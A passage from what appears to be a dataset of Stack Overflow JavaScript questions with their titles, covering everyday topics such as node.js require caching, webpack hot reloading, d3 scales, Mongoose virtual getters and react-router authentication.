)",conditionalPanel javascript conditions in shiny : is there R % in % operator in javascript ? "JS : In JavaScript it is valid to end an integer numeric literal with a dot , like so ... What 's the point of having this notation ? Is there any reason to put the dot at the end , and if not , why is that notation allowed in the first place ? Update : Ok guys , since you mention floats and integers ... We are talking about JavaScript here . There is only one number type in JavaScript which is IEEE-754.5 and 5. have the same value , there is no difference between those two values . x = 5. ;",Why is an integer literal followed by a dot a valid numeric literal in JavaScript ? "JS : When a module is required in node.js more than once it gives back the same object because require ( ) cache the previous calls.Lets say I have a main logger module what could register the sub logger modules . ( Those make the logging actually through the main logger module log ( ) function . But its not related here . ) I have something like this in the main logger module to add a sub-module : When I create a redis client instance , I could immediately add a logger to it like this : In the sub module I start to log like this : And stop logging like this : But as far as I understand , with this technique I could only assign one redis logger instance because assigning the second one would return in the require ( ) with the same object as in the first , so passing the new redis parameter would override the previous value . Because of that it would not be possible to stop the logging in the first redis logger instance because calling it , would stop the logging in the second instance . Lets see an example : I except to get this output : We should get this because the first logger now points to the second instance . So the redis points to the second client too.But instead I get this : So it works as expected by PROGRAM DESIGN but not as expected by CODE . So I want to make it works as it works now , but I do n't understand why it works like that . UPDATE : Long Versionmodule.jsmain.jsRunning the main.js will result this output : So require ( ) gives back the very same object as the first time . If I changed it since then , then the changes are there too , because it is the same object . Now lets say the variable redis is the same as client here and hold a reference to a redis connection . When the constructor runs the second time it overrides the first one , that is why I except to get the notifications from the logger of the first redis client , because there is no reference pointing at it , so the listener could n't be removed . module.addRedisLogger = function ( rclient ) { modulesArray.push ( require ( './redis.js ' ) ( rclient , loggingEnabled , module ) ) ; } var sub = redis.createClient ( ) ; logger.addRedisLogger ( sub ) ; module.startLogging = function ( ) { rclient.on ( `` message '' , messageCallback ) ; rclient.on ( `` pmessage '' , pmessageCallback ) ; } module.stopLogging = function ( ) { rclient.removeListener ( `` message '' , messageCallback ) ; rclient.removeListener ( `` pmessage '' , pmessageCallback ) ; } var sub1 = redis.createClient ( ) ; var sub2 = redis.createClient ( ) ; sub1.subscribe ( `` joinScreen1 '' ) ; sub2.subscribe ( `` joinScreen2 '' ) ; logger.addRedisLogger ( sub1 ) ; logger.addRedisLogger ( sub2 ) ; // running redis-cli PUBLISH joinScreen1 message1// running redis-cli PUBLISH joinScreen2 message2logger.log ( `` Lets stop the first logger ) ; logger.modulesArray [ 0 ] .stopLogging ( ) // running redis-cli PUBLISH joinScreen1 message1// running redis-cli PUBLISH joinScreen2 message2 // Message received on channel joinScreen1 : message1// Message received on channel joinScreen2 : message2// Message received on channel joinScreen1 : message1 // Message received on channel joinScreen1 : message1// Message received on channel joinScreen2 : message2// Message received on channel joinScreen2 : message2 var util = require ( `` util '' ) ; module.exports = function ( ) { var module = { } ; module.show = function ( ) { console.log ( util.client ) ; } module.set = function ( value ) { util.client= value ; } return module ; } ; var util = require ( `` util '' ) ; util.client = `` waaaa '' ; var obj = require ( './module ' ) ( ) ; obj.show ( ) ; obj.set ( `` weeee '' ) ; console.log ( util.client ) ; C : \Users\me\Desktop > node main.jswaaaaweeee",How require ( ) works when requiring the same module in node.js "JS : I am getting the following message in my browser 's console when I change my javascript source : [ HMR ] The following modules could n't be hot updated : ( Full reload needed ) This is usually because the modules which have changed ( and their parents ) do not know how to hot reload themselves . See http : //webpack.github.io/docs/hot-module-replacement-with-webpack.html for more details.My question is how can I tell webpack to just auto reload the page when this happens ? Here is my server set up : and my webpack.config : Thanks in advance ? app.use ( morgan ( 'dev ' ) ) ; // Disable views cache app.set ( 'view cache ' , false ) ; var webpack = require ( 'webpack ' ) ; var webpackConfig = require ( '../client/webpack.config ' ) ; var compiler = webpack ( webpackConfig ) ; app.use ( require ( `` webpack-dev-middleware '' ) ( compiler , { noInfo : true , publicPath : webpackConfig.output.publicPath } ) ) ; app.use ( require ( `` webpack-hot-middleware '' ) ( compiler ) ) ; var path = require ( 'path ' ) ; var AureliaWebpackPlugin = require ( '../node_modules/aurelia-webpack-plugin ' ) ; var webpack = require ( '../node_modules/webpack ' ) ; module.exports = { entry : { main : [ 'webpack-hot-middleware/client ' , './client/src/main ' ] } , resolve : { alias : { breeze : 'breeze-client/build/breeze.debug ' , resources : path.resolve ( __dirname , 'src ' , 'resources ' ) , utils : path.resolve ( __dirname , 'src ' , 'resources ' , 'utils ' , 'utils ' ) , tradestudyUtils : path.resolve ( __dirname , 'src ' , 'resources ' , 'tradestudy-utils ' , 'tradestudy-utils ' ) } } , output : { path : path.join ( __dirname , 'client ' ) , filename : 'bundle.js ' , publicPath : '/ ' } , devtool : 'eval ' , plugins : [ new webpack.optimize.OccurenceOrderPlugin ( ) , new webpack.HotModuleReplacementPlugin ( ) , new webpack.NoErrorsPlugin ( ) , new AureliaWebpackPlugin ( ) ] , module : { //preLoaders : [ // { test : /\.js $ / , exclude : /node_modules/ , loader : 'eslint-loader ' } // ] , loaders : [ { test : /\.scss $ / , loaders : [ 'style ' , 'css ' , 'sass ' ] } , { test : /\.js $ / , loader : 'babel ' , exclude : /node_modules/ , query : { presets : [ 'es2015-loose ' , 'stage-1 ' ] , plugins : [ 'transform-decorators-legacy ' ] } } , { test : /\.css ? $ / , loader : 'style ! css ' } , { test : /\.html $ / , loader : 'raw ' } , { test : /\ . ( png|gif|jpg ) $ / , loader : 'url-loader ? limit=8192 ' } , { test : /\.woff2 ( \ ? v= [ 0-9 ] \. [ 0-9 ] \ . [ 0-9 ] ) ? $ / , loader : 'url-loader ? limit=10000 & minetype=application/font-woff2 ' } , { test : /\.woff ( \ ? v= [ 0-9 ] \. [ 0-9 ] \ . [ 0-9 ] ) ? $ / , loader : 'url-loader ? limit=10000 & minetype=application/font-woff ' } , { test : /\. ( ttf|eot|svg ) ( \ ? v= [ 0-9 ] \. [ 0-9 ] \ . [ 0-9 ] ) ? $ / , loader : 'file-loader ' } ] } } ;","webpack dev middleware , how to autoreload when HMR fails" JS : I know that Chrome has a known bug not preserving the stacktrace when rethrowing an exception in Javascript.I have the following code running in Chrome : Is there any way to keep the stacktrace ? A jQuery plug-in maybe ? Any workaround or ideas ? try { try { runCodeThatMayThrowAnException ( ) ; } catch ( e ) { // I 'm handing the exception here ( displaying a nice message or whatever ) // Now I want to rethrow the exception throw ( e ) ; } } catch ( e ) { // The stacktrace was lost here : ( },Is there any workaround to rethrow an exception and preserve the stacktrace in Javascript ? "JS : Do any browsers currently support or plan to support fast array math operations , similar to what NumPy provides for Python ? Here is an example to demonstrate what I mean : In that example , add is not meant to represent a function implemented in JavaScript . That would be trivial to write . It is meant to represent a function that is written in C ( or whatever language the JavaScript implementation is written in ) and is optimized specifically for math operations over the array . var a = new NumericArray ( 'uint32 ' , [ 1 , 2 , 3 , 4 ] ) ; var b = new NumericArray ( 'uint32 ' , [ 2 , 2 , 2 , 2 ] ) ; var c = a.add ( b ) ; // c == [ 3 , 4 , 5 , 6 ]",Fast JavaScript array operations "JS : I 'm trying to check if a directory exists as part of a command-line app in node.js . However , fs does n't seem to understand ~/ . For example , the following returns false ... ... but this returns true ... ... even though they 're both the same thing.Why does this happen , and is there are workaround for this ? Thanks in advance ! > fs.existsSync ( '~/Documents ' ) false > fs.existsSync ( '/Users/gtmtg/Documents ' ) true",fs in Node.js Does n't Understand ~/ "JS : I have just started trying out micro libraries instead of using jQuery and I 'd like to use qwery with bean . If I set bean.setSelectorEngine ( qwery ) ; why does the following not work ? I am also using bonzo for DOM utility , so I have set it to use the dollar along with qwery so I can select elements in a jQuery-like fashion : e.g . $ ( '.masthead ' ) .This also does not work . Should I not be able to use the following with bean ? Perhaps I have missed something important in the bean documentation.. What do I need to do to fix this ? Also , I am trying to avoid using Ender if at all possible , I am trying to keep my external libraries down to a minimum . bean.on ( '.masthead ' , 'click ' , function ( ) { console.log ( 'click fired ' ) ; } ) ; function $ ( selector ) { return bonzo ( qwery ( selector ) ) ; } bean.on ( $ ( '.masthead ' ) , 'click ' , function ( ) { console.log ( 'click fired ' ) ; } ) ;",Can I use qwery with bean without Ender ? "JS : I have a domain of numbers , for example domain = [ 100 , 200 ] and a number of bands in which to divide the range , for example bands = 5.I know that each band corresponds to a value : These values are fixed ( hard coded ) : if bands became bands = 6 then is the developer that choose what is the value of band # 6.I want to divide the domain into bands whose size varies according to the scale used . For example I might want to use either the linear or the logarithmic or the pow scale.Then I want a function that in input takes a number x ∈ domain and must return the value v associated with the band to which the inout number belongs.Here a similar question , but now I want to use different scales ( for example I can use d3 scales ) but I do n't know how..Here a piece of code : where min and max are the min and max value of the domain.I think sleepwalking 's examples was good so I put them here : if bands = 5 : ( 1 ) if scale is linear and domain = [ 0 , 100 ] -- > bands are : for example : ( 2 ) if scale is linear and domain = [ 100 , 200 ] -- > bands are : for example : ( 3 ) if scale is logarithmic and domain = [ 0 , 100 ] -- > bands are : for example : band # 1 -- > v = 0.2band # 2 -- > v = 0.4band # 3 -- > v = 0.6band # 4 -- > v = 0.8band # 5 -- > v = 1.0 function getLinearScaledValue ( x , min , max , bands ) { const range = max - min if ( x === max ) { return 1 } else { return Math.floor ( 1 + ( ( x - min ) / range ) * bands ) / bands } } band # 1 -- > v = 0.2band # 2 -- > v = 0.4band # 3 -- > v = 0.6band # 4 -- > v = 0.8band # 5 -- > v = 1.0 band # 1 -- > v = 0.2 -- > [ 0 , 20 ] band # 2 -- > v = 0.4 -- > [ 21 , 40 ] band # 3 -- > v = 0.6 -- > [ 41 , 60 ] band # 4 -- > v = 0.8 -- > [ 61 , 80 ] band # 5 -- > v = 1.0 -- > [ 81 , 100 ] if x = 0 -- > v = 0.2if x = 10 -- > v = 0.2if x = 21 -- > v = 0.4if x = 98 -- > v = 1.0 band # 1 -- > v = 0.2 -- > [ 100 , 120 ] band # 2 -- > v = 0.4 -- > [ 121 , 140 ] band # 3 -- > v = 0.6 -- > [ 141 , 160 ] band # 4 -- > v = 0.8 -- > [ 161 , 180 ] band # 5 -- > v = 1.0 -- > [ 181 , 200 ] if x = 100 -- > v = 0.2if x = 110 -- > v = 0.2if x = 121 -- > v = 0.4if x = 198 -- > v = 1.0 band # 1 -- > v = 0.2 -- > [ ? , ? ] band # 2 -- > v = 0.4 -- > [ ? , ? ] band # 3 -- > v = 0.6 -- > [ ? , ? ] band # 4 -- > v = 0.8 -- > [ ? , ? ] band # 5 -- > v = 1.0 -- > [ ? , ? ] if x = 0 -- > v = ? if x = 10 -- > v = ? if x = 21 -- > v = ? if x = 98 -- > v = ?",Use scales to remap a number "JS : I 'm starting to make use of virtual getter methods in Mongoose in a real-world application and am wondering if there is a performance impact to using them that would be good to know about up-front.For example : Basically , I do n't understand yet how the getters are generated into the Objects Mongoose uses , and whether the values are populated on object initialisation or on demand.__defineGetter__ can be used to map a property to a method in Javascript but this does not appear to be used by Mongoose for virtual getters ( based on a quick search of the code ) .An alternative would be to populate each virtual path on initialisation , which would mean that for 100 users in the example above , the method to join the first and last names is called 100 times . ( I 'm using a simplified example , the getters can be much more complex ) Inspecting the raw objects themselves ( e.g . using console.dir ) is a bit misleading because internal methods are used by Mongoose to handle translating objects to 'plain ' objects or to JSON , which by default do n't include the getters.If anyone can shed light how this works , and whether lots of getters may become an issue at scale , I 'd appreciate it . var User = new Schema ( { name : { first : String , last : String } } ) ; User.virtual ( 'name.full ' ) .get ( function ( ) { return this.name.first + ' ' + this.name.last ; } ) ;",Is there a performance impact to using virtual getters in Mongoose with Node.js ? "JS : My problem is that I ca n't read my json file that I 'm creating in c # . I need my longitude and latitude values in my js . I need these for creating a google maps webview . My js ca n't find/read this file . I 'm not sure if this is the correct way of reading/making the json file.With this I create my JSON file . The beginPositie has 2 variables : longitude and latitude.This is my function for reading the JSON file in JS . The `` Windows '' ca n't be found and I do n't know the reason for that . I have already included the scripts , installed the extension SDK for js but for a reason I ca n't add the reference to this SDK . } public async Task Serialize ( Coordinate beginPositie ) { string json = JsonConvert.SerializeObject ( beginPositie ) ; StorageFolder localFolder = ApplicationData.Current.LocalFolder ; StorageFile MarkersFile = await localFolder.CreateFileAsync ( `` markers.json '' , CreationCollisionOption.ReplaceExisting ) ; using ( IRandomAccessStream textStream = await MarkersFile.OpenAsync ( FileAccessMode.ReadWrite ) ) { using ( DataWriter textWriter = new DataWriter ( textStream ) ) { textWriter.WriteString ( json ) ; await textWriter.StoreAsync ( ) ; } } } function getJSON ( ) { //var uri = new Windows.Foundation.Uri ( 'ms-appdata : ///local/markers.json ' ) ; //json = Windows.Storage.StorageFile.getFileFromApplicationUriAsync ( uri ) ; $ .ajax ( { url : `` ms-appdata : ///local/markers.json '' , success : function ( data ) { json = JSON.parse ( data ) ; } } ) ;",Reading files in js from local windows store folder "JS : I am new to unit testing so I might be missing something , but how am I supposed to structure requirejs modules in order to make them fully testable ? Consider the elegant revealing module pattern.As far as I am aware of this is the most common pattern for building requirejs modules . Please correct me if I am wrong ! So in this simplistic scenario I can easily test return values and behavior of func1 since it is global . However , in order to test func2 I also would have to return it 's reference . Right ? This makes the code slightly less pretty , but overall is still ok . However , if I wanted to mock func2 and replace its return value by using Jasmine spy I would not be able to since that method is inside a closure.So my question is how to structure requirejs modules to be fully testable ? Are there better patterns for this situation than revealing module pattern ? define ( [ ] , function ( ) { `` use strict '' ; var func1 = function ( ) { var data = func2 ( ) ; } ; var func2 = function ( ) { return db.call ( ) ; } ; return { func1 : func1 } } ) ; return { func1 : func1 , _test_func2 : func2 }",How to write testable requirejs modules "JS : I 'm creating a tab interface whereby the active tab has a rotate transformation which allows a preview of the next tab to be visible . Clicking on a button in the preview area will open the next tab.This is working fine in all browsers apart from IE11 . See snippet below.I think the problem is that although IE visibly performs the rotation , the original bounding area itself is not rotated , thus the click does n't get applied on the background element.Anybody got any ideas how I can fix this ? jsfiddle here : https : //jsfiddle.net/bmq2e2ae/1/ $ ( document ) .ready ( function ( ) { $ ( 'button ' ) .click ( function ( ) { alert ( 'Button was clicked ' ) ; } ) ; } ) * { margin : 0 ; padding : 0 } .container { width : 400px ; height : 200px ; position : relative ; overflow : hidden ; } .container .tab { position : absolute ; top : 0 ; left : 0 ; width : 185 % ; height : 140 % ; transform : translateX ( -50 % ) rotate ( -25deg ) ; transform-origin : 50 % 0 ; overflow : hidden ; } .container .tab .content { transform : rotate ( 25deg ) ; transform-origin : 0 0 ; margin-left : 50 % ; position : relative ; height : 75 % ; width : 55 % ; } .container .tab-1 { z-index : 2 ; } .container .tab-1 .content { background-color : red ; } .container .tab-2 { z-index : 1 ; height : 200 % ; } .container .tab-2 .content { background-color : green ; } .container .tab-2 button { position : absolute ; bottom : 37 % ; right : 20px ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' container '' > < div class= '' tab tab-1 '' > < div class= '' content '' > < /div > < /div > < div class= '' tab tab-2 '' > < div class= '' content '' > < button type= '' button '' > Click me < /button > < /div > < /div > < /div >",ie11 css rotate - background element not clickable "JS : jQuery provides a nice , neat way to traverse the DOM ... what I 'm looking for is a way to traverse a stylesheet , getting and setting attributes for the defined styles.Example StylesheetNow imagine the following code is like jQuery for CSS ... Getting values from the CSSSetting values in the CSSFairly certain this is not possible ... but just a wild stab in the dark ! div { background : # FF0000 ; display : block ; } .style { color : # 00AA00 ; font-family : Verdana ; } html body > nav.menu { list-style : none ; } $ ( `` div '' ) .attr ( `` background '' ) ; //returns # FF0000 ; $ ( `` .style '' ) .attr ( `` color '' ) ; // returns # 00AA00 ; $ ( `` html body > nav.menu '' ) .attr ( `` color '' ) ; // returns undefined ; $ ( `` div '' ) .attr ( `` background '' , `` # 0000FF '' ) ; $ ( `` .style '' ) .attr ( `` color '' , `` # CDFF4E '' ) ; $ ( `` html body > nav.menu '' ) .attr ( `` color '' , `` # FFFFFF '' ) ;",Can I programmatically traverse a CSS stylesheet ? "JS : I want to detect whether or not a user is viewing a secure page and redirect if not ( for logging in ) .However , my site travels through a proxy before I see the server variables and the proxy ( right now ) is telling me that $ _SERVER [ 'HTTPS ' ] is 'on ' when the URI clearly indicates otherwise . It also shows 'on ' when the user is navigating 'securely'.Navigating through http : // and https : // both output that $ _SERVER [ 'SERVER_PORT ' ] = 443.I do n't have the ability to make any changes to the proxy so I want to know : Does PHP have any other options for me to detect the truth or ... Am I stuck to resort to JavaScript 's mechanisms for detection and redirection.I mined this question for ideas but they mostly revolve around the $ _SERVER [ 'HTTPS ' ] variable being trustworthy . Bah ! It appears that this question is experiencing at least something similar , but s/he was able to resolve it by adapting an apache solution.Are there any other PHP SERVER variables or tricks available to detect what the user 's URI begins with ? The only difference between the $ _SERVER variables when my site is viewed http versus https are the following : _FCGI_X_PIPE_ ( appears random ) HTTP_COOKIE ( sto-id-47873 is included in the non-secure version but I did not put it there ) REMOTE_ADDR ( This and the next two keep changing inexplicably ! ) REMOTE_HOSTREMOTE_PORT ( 'proxy people ' , why are you continually changing this ? ) Are any of these items strong enough to put one 's weight upon without it splintering and causing pain later ? Perhaps I should n't trust anything as filtered through the proxy since it could change at any given time.Here is my plan to use JavaScript for this purpose ; is it the best I have ? I think if the user has JavaScript disabled in my community , then they hopefully know what they are doing . They should be able to manually get themselves into a secure zone . What sort of < noscript > suggestions would be commonplace / good practice ? Something like this , perhaps ? : < noscript > Navigate using https : //blah.more.egg/fake to protect your information. < /noscript > PHP solutions that work ( with good explanation ) will be given preference for the correct answer . Feel free to submit a better JavaScript implementation or link to one.Many thanks ! function confirmSSL ( ) { if ( location.protocol ! = `` https : '' ) { var locale = location.href ; locale = locale.replace ( /http : \/\// , '' https : // '' ) ; location.replace ( locale ) ; } } < body onLoad= '' confirmSSL ( ) '' > ...",Detect SSL when proxy *always* claims a secure connection "JS : I am trying to create a 2D cartesian coordinate system with its origin in the center of the svg . Basically like that : My current approach is to translate the axes , so that their origin is in the middle . However I need to adjust the range manually in order for the y-axis to be centered . The value needed is different on every screen size , thats why I would need help figuring out , how to always get my coordinate axes centered on every screen.I have created a Fiddle , in order to show you how exactly I have created the coordinate axes . // Add the x Axis svg.append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + 0 + `` , '' + height/2 + `` ) '' ) .call ( d3.axisBottom ( x ) .ticks ( 100 ) ) ; // Add the y Axis svg.append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + width/2 + `` , '' + 0 + `` ) '' ) .call ( d3.axisLeft ( y ) .ticks ( 100 ) ) ; } ) ; var x = d3.scaleLinear ( ) .range ( [ width/2-5*width , width/2+5*width ] ) .domain ( [ -50 , 50 ] ) ; var y = d3.scaleLinear ( ) .range ( [ height/2-5*height , height/2+3.244*width ] ) .domain ( [ 50 , -50 ] ) ; //the value 3.244 is the problem , it changes on every screen",How to align d3.linearScale ( ) in the center of the page ? "JS : In modern browsers , jQuery makes use of document.querySelectorAll ( ) to boost performance when valid CSS selectors are used . It falls back to Sizzle if a browser does n't support the selector or the document.querySelectorAll ( ) method.However , I 'd like to always use Sizzle instead of the native implementation when debugging a custom selector . Namely , I 'm trying to come up with an implementation of : nth-last-child ( ) , one of the CSS3 selectors that are not supported by jQuery . Since this selector is natively supported by modern browsers , it works as described in the linked question . It is precisely this behavior that 's interfering with debugging my custom selector , though , so I 'd like to avoid it.A cheap hack I can use is to drop in a non-standard jQuery selector extension , thereby `` invalidating '' the selector so to speak . For example , assuming every li : nth-last-child ( 2 ) is visible , I can simply drop that in , turning this : Into this : This causes it to always be evaluated by Sizzle . Except , this requires that I make an assumption of my page elements which may or may not be true . And I really do n't like that . Not to mention , I dislike using non-standard selectors in general unless absolutely necessary.Is there a way to skip the native document.querySelectorAll ( ) method in browsers that support it and force jQuery to use Sizzle to evaluate a selector instead , that preferably does n't employ the use of non-standard selectors ? Likely , this entails calling another method instead of $ ( ) , but it 's much better than a selector hack IMO . $ ( 'li : nth-last-child ( 2 ) ' ) .css ( 'color ' , 'red ' ) ; $ ( 'li : nth-last-child ( 2 ) : visible ' ) .css ( 'color ' , 'red ' ) ;",Can I force jQuery to use Sizzle to evaluate a selector without using non-standard selectors ? "JS : Im trying to generate random integers with logarithmic distribution . I use the following formula : This works well and produces sequence like this for 1000 iterations ( each number represents how many times that index was generated ) : FiddleI am now trying to adjust the slope of this distribution so it does n't drop as quickly and produces something like : Blindly playing with coefficients did n't give me what I wanted . Any ideas how to achieve it ? idx = Math.floor ( Math.log ( ( Math.random ( ) * Math.pow ( 2.0 , max ) ) + 1.0 ) / Math.log ( 2.0 ) ) ; [ 525 , 261 , 119 , 45 , 29 , 13 , 5 , 1 , 1 , 1 ] [ 150 , 120 , 100 , 80 , 60 , ... ]",Generate random numbers with logarithmic distribution and custom slope "JS : We 're trying to make a generic approach for a piece of software we are developing that ties into form fields.So far so good but we 're running in to an edge case that prevents submitting a form/field that has another handler tied in to it . Here 's the ( condensed ) use case : HTML : Normal behaviour is that when a user types 'foo ' into the field and hits enter , the form is handled and submitted to the correct 'endpoint ' which is n't necessarily the defined one in the form 's opening tag . There could be some function ( from somewhere else ) that handles this enter-event.Unfortunately , we ca n't predict what that function is , we like to keep it generic.In the above HTML , clicking on the link should trigger an enter-event on the form field that mimics the browser/user behaviour and thus some unknown handler.This is our Javscript ( we 're using jquery ) : When entering 'foo ' in the field and pressing enter the form gets submitted . But when we click the link we do a focus ( ) and then firing the key-event but the form is n't submitted.We ca n't use a submit ( ) because of the unknown handlers.Try the code here : http : //codepen.io/conversify/pen/yOjQob < form id= '' form1 '' > < input type=field id= '' field1 '' / > < /form > < a href= '' # '' id= '' link '' > click to submit < /a > $ ( ' # field1 ' ) .keypress ( function ( event ) { if ( event.which == 13 ) { console.log ( `` enter pressed '' ) ; //return false ; only if needed } } ) ; $ ( `` # link '' ) .click ( function ( ) { var e = jQuery.Event ( 'keypress ' ) ; e.which = 13 ; // # 13 = Enter key $ ( `` # field1 '' ) .focus ( ) ; $ ( `` # field1 '' ) .trigger ( e ) ; } )",Simulate enter-key in form field and preserve other handlers "JS : I wrote some code in Javascript that was working without any problem.But when I put the date October 20 , 2013 , I was returned the date October 19 , 2013.The same applies to the years 2019 , 2024 and 2030 ( not tested previous years and not later ) .This problem shows up in all browsers I test ( Google Chrome , Internet Explorer , Mozilla Firefox , Opera and Safari ) .When I write : The result I get is : Sat Oct 19 2013 23:00:00 GMT-0300 ( BRT ) Someone could tell me why this is happening and how can I solve this problem ? date = new Date ( `` 10/20/2013 '' ) ; document.write ( date ) ;",Problems with the date 20 October in some years JS : Could someone please explain why 'this ' in the following points to the DOM Object and not to Window ? This yields to : Consider the following which should be the same scenario : What we get here is the Window Object ( what I had expected ) . $ ( `` a '' ) .click ( function ( ) { console.log ( this ) ; } ) ; < a id= '' first '' href= '' http : //jquery.com '' > function Foo ( ) { this.click = function ( f ) { f ( ) ; } } var obj = new Foo ( ) ; obj.click ( function ( ) { console.log ( this ) ; } ) ;,Value of 'this ' in Javascript "JS : I 'm facing an issue in regards to error handling with Promise.allI would expect the following code to call the catch part of the chain when one of the getNetworkstuff ( ) Promises fails . But instead it just calls the next then part and the Browser Console shows an uncaught Error.I can see that the promise has not fulfilled as the returned result array contains the appropriate rejected promise.Can somebody tell me why catch is not called ? ( I know it is if I just have an Array of Promises in Promise.all ( ) of which one rejects ) Promise.all ( [ [ getNetworkstuff ( url1 ) ] , [ getNetworkstuff ( url2 ) ] ] //please note that the arrays within the array are larger in my application //otherwise I would just use one big array not arrays in arrays ) .then ( function ( result ) { //Stuff worked } ) .catch ( function ( err ) { //Stuff broke } ) ; function getNetworkstuff ( url ) { return new Promise ( function ( resolve , reject ) { //here will be awesome network code } ) } [ [ PromiseStatus ] ] : `` rejected '' [ [ PromiseValue ] ] : Error : HTTP GET resulted in HTTP status code 404 .",Error Handling with Promise.all "JS : I 'm attempting to measure the difference between two sounds using an analyser node and getByteFrequencyData ( ) . I thought that by summing the difference in each frequency bin I could come up with a single number to represent how different the two sounds were . Then I would be able to change the sounds and measure the numbers again to see if the new sound was more or less different than before.Does getByteFrequencyData ( ) fully encompass the representation of a sound or do I need to include other pieces of data to qualify the sound ? Here is the code I 'm using : var Spectrogram = ( function ( ) { function Spectrogram ( ctx ) { this.analyser = ctx.createAnalyser ( ) ; this.analyser.fftSize = 2048 ; this.sampleRate = 512 ; this.scriptNode = ctx.createScriptProcessor ( this.sampleRate , 1 , 1 ) ; this.scriptNode.onaudioprocess = this.process.bind ( this ) ; this.analyser.connect ( this.scriptNode ) ; this.startNode = this.analyser ; this.endNode = this.scriptNode ; this.data = [ ] ; } Spectrogram.prototype.process = function ( e ) { var d = new Uint8Array ( this.analyser.frequencyBinCount ) ; this.analyser.getByteFrequencyData ( d ) ; this.data.push ( d ) ; var inputBuffer = e.inputBuffer ; var outputBuffer = e.outputBuffer ; for ( var channel = 0 ; channel < outputBuffer.numberOfChannels ; channel++ ) { var inputData = inputBuffer.getChannelData ( channel ) ; var outputData = outputBuffer.getChannelData ( channel ) ; for ( var sample = 0 ; sample < inputBuffer.length ; sample++ ) { outputData [ sample ] = inputData [ sample ] ; } } } ; Spectrogram.prototype.compare = function ( other ) { var fitness = 0 ; for ( var i=0 ; i < this.data.length ; i++ ) { if ( other.data [ i ] ) { for ( var k=0 ; k < this.data [ i ] .length ; k++ ) { fitness += Math.abs ( this.data [ i ] [ k ] - other.data [ i ] [ k ] ) ; } } } return fitness ; } return Spectrogram ; } ) ( ) ;",How do you measure the difference between two sounds using the Web Audio API ? "JS : I have a directive that prints out flash messages for users . Everything works fine on my localhost but as soon as I test it out on Heroku , the flash message does not appear . Here is the controller.The directive ... And the factory that handles storing the flash messages.My html code ... No error appears on the console . The funny thing is the flash message is presented in the html does n't load.This is what is shown in localhost.But on heroku productionI 'm creating the flash in my code via..My question is , why does this not appear on my production code but it appears on my localhost and how do I fix it ? angular.module ( `` alerts '' ) .controller ( `` AlertsController '' , alertController ) alertController. $ inject = [ 'Flash ' ] function alertController ( Flash ) { var vm = this ; vm.flash = Flash ; } angular.module ( `` alerts '' ) .directive ( 'flash ' , flash ) ; flash. $ inject = [ ' $ timeout ' ] ; function flash ( $ timeout ) { return { restrict : ' E ' , replace : true , scope : { text : '= ' , type : '= ' } , template : ' < div id= '' flash_message '' class= '' notification '' ng-class= '' type '' > { { text } } hello < /div > ' , link : function ( scope , element , attrs ) { $ timeout ( function ( ) { element.remove ( ) ; } , 5000 ) ; } } } angular.module ( `` alerts '' ) .factory ( `` Flash '' , flash ) function flash ( ) { var messages = [ ] ; var results = { messages : messages , printMessage : printMessage , addMessage : addMessage } return results ; function printMessage ( ) { return results.messages } function addMessage ( message ) { results.messages.push ( message ) ; } } < div ng-controller= '' AlertsController as alerts '' > < div ng-repeat= '' message in alerts.flash.messages '' > < flash type= '' message.type '' text= '' message.text '' > < /flash > < /div > < /div > < div ng-repeat= '' message in alerts.flash.messages '' class= '' ng-scope '' > < div id= '' flash_message '' class= '' notification ng-binding ng-isolate-scope success '' ng-class= '' type '' type= '' message.type '' text= '' message.text '' > Your link has been copied ! hello < /div > < /div > < div ng-repeat= '' message in alerts.flash.messages '' class= '' ng-scope '' > < /div > Flash.addMessage ( { type : `` success '' , text : `` Your link has been copied ! `` } ) ;",Directive/Factory Not Working in Production "JS : The basic outline of my problem is shown in the code below . I 'm hosting a WebBrowser control in a form and providing an ObjectForScripting with two methods : GiveMeAGizmo and GiveMeAGizmoUser . Both methods return the respective class instances : In JavaScript , I create an instance of both classes , but I need to pass the first instance to a method on the second instance . The JS code looks a little like this : This is where I 've hit a wall . My C # method GizmoUser.doSomethingWith ( ) can not cast the object back to a Gizmo type . It throws the following error : Unable to cast COM object of type 'System.__ComObject ' to interface type 'Gizmo'Unsure how to proceed , I tried a couple of other things : Safe casting Gizmo g = oGizmo as Gizmo ; ( g is null ) Having the classes implement IDispatch and calling InvokeMember , as explained here . The member `` name '' is null.I need this to work with .NET framework version lower than 4.0 , so I can not use dynamic . Does anybody know how I can get this working ? [ ComVisible ] public class Gizmo { public string name { get ; set ; } } [ ComVisible ] public class GizmoUser { public void doSomethingWith ( object oGizmo ) { Gizmo g = ( Gizmo ) oGizmo ; System.Diagnostics.Debug.WriteLine ( g.name ) ; } } var // Returns a Gizmo instance gizmo = window.external.GiveMeAGizmo ( ) , // Returns a GizmoUser instance gUser = window.external.GiveMeAGizmoUser ( ) ; gizmo.name = 'hello ' ; // Passes Gizmo instance back to C # codegUser.doSomethingWith ( gizmo ) ;",Passing a C # class instance back to managed code from JavaScript via COM JS : If I use the ternary operator in my Angular.js view will it be executed on every digest ( like functions ) or only if the variables necessary for the decision are changed ? Example : or : Would it be executed on every digest or only when is ui.IsTrue changed ? < div > { { ui.isTrue ? `` foo '' : `` bar '' } } < /div > < div ng-bind= '' ui.isTrue ? 'foo ' : 'bar ' '' > < /div >,Will the ternary operator be executed on every digest ? "JS : I 've set up a React app using react-router that authenticates with Firebase.I have this working but I now want to be able to manage the state of the logged in user ( auth ) from the main App Component , and have that pass down to the child Components instead of having to query the auth status in each Component.I 've now come stuck as I ca n't find a way to pass down the loggedIn state of the App component down as properties on the child components.Is this even possible with react-router ? import React from 'react ' ; import ReactDOM from 'react-dom ' ; import { Router , Route , Link , browserHistory } from 'react-router ' ; import { createHistory } from 'history ' ; /* Firebase*/import Auth from './modules/Auth ' ; import Helpers from './modules/Helpers ' ; // Auth.unauth ( ) ; /* Import app modules*/import LogIn from './modules/LogIn ' ; import LogOut from './modules/LogOut ' ; import NotFound from './modules/NotFound ' ; import Register from './modules/Register ' ; import Dashboard from './modules/Dashboard ' ; import ResetPassword from './modules/ResetPassword ' ; import ChangePassword from './modules/ChangePassword ' ; import MyAccount from './modules/MyAccount ' ; const App = React.createClass ( { getInitialState : function ( ) { return { loggedIn : Auth.getAuth ( ) , userType : null } } , setUserLevel : function ( authData ) { if ( authData ) { Auth.child ( 'users/'+authData.uid+'/user_level ' ) .once ( 'value ' , ( 